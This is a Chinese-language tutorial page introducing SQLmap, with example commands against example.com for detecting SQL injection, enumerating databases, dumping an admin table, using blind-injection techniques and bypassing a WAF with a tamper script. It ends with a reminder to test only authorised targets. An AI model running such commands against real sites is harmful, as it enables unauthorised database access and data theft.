🔎

SQLmap

工具简介

SQLmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞,接管数据库服务器。它具有强大的检测引擎和众多的功能,用于进行渗透测试和数据库安全评估。

主要功能

自动检测

检测各种SQL注入漏洞

数据提取

从数据库中获取数据

数据库枚举

获取数据库架构信息

权限提升

获取系统访问权限

基本用法

# 基本SQL注入检测
sqlmap -u "http://example.com/page.php?id=1"

# 指定参数进行检测
sqlmap -u "http://example.com/page.php" --data="id=1&user=admin"

# 自动获取数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs

# 获取指定数据库的表
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables

# 获取表中的数据
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --dump

常用参数

参数 说明
-u 指定目标URL
--data 指定POST数据
--dbs 枚举数据库
-D 指定数据库名
-T 指定表名

使用示例

示例1:完整的注入流程

# 检测注入点
sqlmap -u "http://example.com/page.php?id=1"

# 获取所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs

# 获取数据库users中的表
sqlmap -u "http://example.com/page.php?id=1" -D users --tables

# 获取users数据库中admin表的列
sqlmap -u "http://example.com/page.php?id=1" -D users -T admin --columns

# 导出users数据库中admin表的数据
sqlmap -u "http://example.com/page.php?id=1" -D users -T admin --dump

从检测注入点到提取数据的完整流程

示例2:自定义注入技术

# 使用布尔盲注
sqlmap -u "http://example.com/page.php?id=1" --technique=B

# 使用时间盲注
sqlmap -u "http://example.com/page.php?id=1" --technique=T

# 使用cookies进行注入测试
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=1234" -p PHPSESSID

# 绕过WAF进行注入
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment.py

使用不同的注入技术和绕过防护

安全提示

  • 仅在获得授权的目标上使用
  • 不要在生产环境中进行测试
  • 注意保护敏感数据
  • 遵守相关法律法规